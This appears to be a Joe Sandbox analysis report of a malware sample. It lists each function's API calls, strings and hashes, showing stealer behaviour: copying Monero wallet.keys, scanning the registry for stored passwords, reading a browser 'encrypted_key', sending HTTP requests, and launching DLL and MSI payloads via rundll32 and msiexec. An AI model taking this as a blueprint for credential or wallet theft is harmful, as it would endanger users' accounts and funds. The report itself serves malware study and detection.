Opcode ID: 107cc596a99a07c2cabcfb02c403420a28ee9553383c78a3f967beb6efbe45f8
Instruction ID: f40f2e0158b519502fbf9ed553f4b8ad4ab122ca53f34f8e14125e872da9757a
Opcode Fuzzy Hash: 107cc596a99a07c2cabcfb02c403420a28ee9553383c78a3f967beb6efbe45f8
Instruction Fuzzy Hash: 5341857AA4020867DB10F7B0EC47FED7738AB65704F404594B685AA0C2EEF457C99B92

Function 00099010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0009906C

Strings

image/jpeg, xrefs: 00099136

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 8605a3544961c51f9712491762c16dd7805ae08552c0806fa01d0f56682a012d
Instruction ID: 19490ac2f9758468b87c934930cb18bf1ff2a3f4f9da5ac8137e6cb047c38a60
Opcode Fuzzy Hash: 8605a3544961c51f9712491762c16dd7805ae08552c0806fa01d0f56682a012d
Instruction Fuzzy Hash: A671CA75A10208EBDF14EBE4EC89FEEB7B9BF48704F108508F515A7290DB35A905DB61

Function 00092E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

ShellExecuteEx.SHELL32(0000003C), ref: 000931C5
ShellExecuteEx.SHELL32(0000003C), ref: 0009335D
ShellExecuteEx.SHELL32(0000003C), ref: 000934EA

Strings

"" , xrefs: 0009309A
C:\Windows\system32\msiexec.exe, xrefs: 000934BF
.msi, xrefs: 00093398
/passive, xrefs: 0009345B
<, xrefs: 00093490
.dll, xrefs: 000931E5
C:\Windows\system32\rundll32.exe, xrefs: 00093332
/i ", xrefs: 000933E4

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: cddfba62dc638f1565a8cc61a7838f963549634af5821fbddc17730351c2f522
Instruction ID: 5fc5229e17d6dad0c005e502d56c18b656ceee13835ee0d58fcdb392329c72e9
Opcode Fuzzy Hash: cddfba62dc638f1565a8cc61a7838f963549634af5821fbddc17730351c2f522
Instruction Fuzzy Hash: 32121C71910118AADF19FBA0DC92FEEB778AF15300F504169F50666192EF342B4EDFA2

Function 000952C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

Part of subcall function 00086280: InternetOpenA.WININET(000A0DFE,00000001,00000000,00000000,00000000), ref: 000862E1
Part of subcall function 00086280: StrCmpCA.SHLWAPI(?,00D3FCE0), ref: 00086303
Part of subcall function 00086280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00086335
Part of subcall function 00086280: HttpOpenRequestA.WININET(00000000,GET,?,00D3F488,00000000,00000000,00400100,00000000), ref: 00086385
Part of subcall function 00086280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 000863BF
Part of subcall function 00086280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 000863D1

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00095318
lstrlen.KERNEL32(00000000), ref: 0009532F

Part of subcall function 00098E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00098E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00095364
lstrlen.KERNEL32(00000000), ref: 00095383
lstrlen.KERNEL32(00000000), ref: 000953AE

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Strings

ERROR, xrefs: 000954A9
ERROR, xrefs: 0009546F
ERROR, xrefs: 00095432
ERROR, xrefs: 0009530A
ERROR, xrefs: 000953B9

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 554c2ab06e42fb293e1a29862ded371aca5edd4b1cd5d9ba9cf76d1dfdccee32
Instruction ID: 610813d34ac9537742f87b4260118639fea1cd7cf1aed987197ee175879418bd
Opcode Fuzzy Hash: 554c2ab06e42fb293e1a29862ded371aca5edd4b1cd5d9ba9cf76d1dfdccee32
Instruction Fuzzy Hash: D751DC70A20148DBCF14FF60DD96EEE7779AF11341F504018E50A5A593EF346B4AEBA2

Function 000912D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: a90b7bdf6f52c1ea13ee53478a68ff69b20c8901b4035067f34c894490657832
Instruction ID: ab1d852f20dd8c9ae7a8ccfb4d70efef9e9e1d1a1bec710d525c791220ed00e7
Opcode Fuzzy Hash: a90b7bdf6f52c1ea13ee53478a68ff69b20c8901b4035067f34c894490657832
Instruction Fuzzy Hash: 58C184B5A0021D9BCF14EF60DC8AFEE7378BB54304F004599F50AA7292DB70AA85DF91

Function 00094280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00098DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00098E0B

lstrcat.KERNEL32(?,00000000), ref: 000942EC
lstrcat.KERNEL32(?,00D3F398), ref: 0009430B
lstrcat.KERNEL32(?,?), ref: 0009431F
lstrcat.KERNEL32(?,00D3DE68), ref: 00094333

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 00098D90: GetFileAttributesA.KERNEL32(00000000,?,00081B54,?,?,000A564C,?,?,000A0E1F), ref: 00098D9F

Part of subcall function 00089CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00089D39

Part of subcall function 000899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000899EC
Part of subcall function 000899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00089A11
Part of subcall function 000899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00089A31
Part of subcall function 000899C0: ReadFile.KERNEL32(000000FF,?,00000000,0008148F,00000000), ref: 00089A5A
Part of subcall function 000899C0: LocalFree.KERNEL32(0008148F), ref: 00089A90
Part of subcall function 000899C0: CloseHandle.KERNEL32(000000FF), ref: 00089A9A

Part of subcall function 000993C0: GlobalAlloc.KERNEL32(00000000,000943DD,000943DD), ref: 000993D3

StrStrA.SHLWAPI(?,00D3F3C8), ref: 000943F3
GlobalFree.KERNEL32(?), ref: 00094512

Part of subcall function 00089AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00084EEE,00000000,00000000), ref: 00089AEF
Part of subcall function 00089AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00084EEE,00000000,?), ref: 00089B01
Part of subcall function 00089AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00084EEE,00000000,00000000), ref: 00089B2A
Part of subcall function 00089AC0: LocalFree.KERNEL32(?,?,?,?,00084EEE,00000000,?), ref: 00089B3F

lstrcat.KERNEL32(?,00000000), ref: 000944A3
StrCmpCA.SHLWAPI(?,000A08D1), ref: 000944C0
lstrcat.KERNEL32(00000000,00000000), ref: 000944D2
lstrcat.KERNEL32(00000000,?), ref: 000944E5
lstrcat.KERNEL32(00000000,000A0FB8), ref: 000944F4

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: cab55b5536a0d7f9ed69691990de0d4bcd95c7cf2e8382fb010c43379c6175bc
Instruction ID: dc93a4335fefa933d7b5ecf1e554d31a75fd498acc80cbf374735a1af49a4bd5
Opcode Fuzzy Hash: cab55b5536a0d7f9ed69691990de0d4bcd95c7cf2e8382fb010c43379c6175bc
Instruction Fuzzy Hash: B4711676900208ABDF14FBE0EC8AFEE77B9BB49304F048598F60597182DA35DB45DB91

Function 00081310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 000812A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 000812B4
Part of subcall function 000812A0: RtlAllocateHeap.NTDLL(00000000), ref: 000812BB
Part of subcall function 000812A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 000812D7
Part of subcall function 000812A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 000812F5
Part of subcall function 000812A0: RegCloseKey.ADVAPI32(?), ref: 000812FF

lstrcat.KERNEL32(?,00000000), ref: 0008134F
lstrlen.KERNEL32(?), ref: 0008135C
lstrcat.KERNEL32(?,.keys), ref: 00081377

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

Part of subcall function 00098B60: GetSystemTime.KERNEL32(000A0E1A,00D3EEF0,000A05AE,?,?,000813F9,?,0000001A,000A0E1A,00000000,?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 00098B86

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00081465

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

Part of subcall function 000899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000899EC
Part of subcall function 000899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00089A11
Part of subcall function 000899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00089A31
Part of subcall function 000899C0: ReadFile.KERNEL32(000000FF,?,00000000,0008148F,00000000), ref: 00089A5A
Part of subcall function 000899C0: LocalFree.KERNEL32(0008148F), ref: 00089A90
Part of subcall function 000899C0: CloseHandle.KERNEL32(000000FF), ref: 00089A9A

DeleteFileA.KERNEL32(00000000), ref: 000814EF

Strings

.keys, xrefs: 0008136B
\Monero\wallet.keys, xrefs: 0008138D
wallet_path, xrefs: 00081330
SOFTWARE\monero-project\monero-core, xrefs: 00081335

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 42c28410f474caba07b0ba29dbb139d3f4f18bdcc8c8cb878f04dbc4d2cf7f9d
Instruction ID: 346e5854b0a0100acfb57cad3ce32f419982c5c06e2243031ea4706fc4337f8d
Opcode Fuzzy Hash: 42c28410f474caba07b0ba29dbb139d3f4f18bdcc8c8cb878f04dbc4d2cf7f9d
Instruction Fuzzy Hash: 2D5144B1E5011897CB15FB60DC96FEE737CAF55300F404198B60A66093EF705B89DBA6

Function 000875D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000872D0: memset.MSVCRT ref: 00087314
Part of subcall function 000872D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0008733A
Part of subcall function 000872D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 000873B1
Part of subcall function 000872D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0008740D
Part of subcall function 000872D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00087452
Part of subcall function 000872D0: HeapFree.KERNEL32(00000000), ref: 00087459

lstrcat.KERNEL32(00000000,000A17FC), ref: 00087606
lstrcat.KERNEL32(00000000,00000000), ref: 00087648
lstrcat.KERNEL32(00000000, : ), ref: 0008765A
lstrcat.KERNEL32(00000000,00000000), ref: 0008768F
lstrcat.KERNEL32(00000000,000A1804), ref: 000876A0
lstrcat.KERNEL32(00000000,00000000), ref: 000876D3
lstrcat.KERNEL32(00000000,000A1808), ref: 000876ED
task.LIBCPMTD ref: 000876FB

Strings

: , xrefs: 0008764E

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 3aac3d9d1c0fd4b1e3f60490b10f11a08ba02389b83427b4d16cb66a6f4d4b3f
Instruction ID: f1b78da2fe00a68bffe477996a34699a4cc7e176f4180562e60ca133a6cab00a
Opcode Fuzzy Hash: 3aac3d9d1c0fd4b1e3f60490b10f11a08ba02389b83427b4d16cb66a6f4d4b3f
Instruction Fuzzy Hash: 9431FA71900109DBCF08FBE8EC9DDFE7779BB48305B644118F106A7295DE34A946CB62

Function 000872D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00087314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0008733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 000873B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0008740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00087452
HeapFree.KERNEL32(00000000), ref: 00087459
task.LIBCPMTD ref: 00087555

Strings

Password, xrefs: 00087401

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: a26f2f49c62f6366de175d2a745e36abe7d4895c2db67f78a4499355481ad1ea
Instruction ID: 04de08661ed8a09ceef4d726763f3f7bbec2cfff06fe24cfaacd6d32ac6377b1
Opcode Fuzzy Hash: a26f2f49c62f6366de175d2a745e36abe7d4895c2db67f78a4499355481ad1ea
Instruction Fuzzy Hash: F5614AB580416C9BDB24EB50DC45FDAB7B8BF44304F1081E9E689A6146DBB09BC9CFA1

Function 00098100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00D3F2C0,00000000,?,000A0E2C,00000000,?,00000000), ref: 00098130
RtlAllocateHeap.NTDLL(00000000), ref: 00098137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00098158
__aulldiv.LIBCMT ref: 00098172
__aulldiv.LIBCMT ref: 00098180
wsprintfA.USER32 ref: 000981AC

Strings

@, xrefs: 0009814D
%d MB, xrefs: 000981A3

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

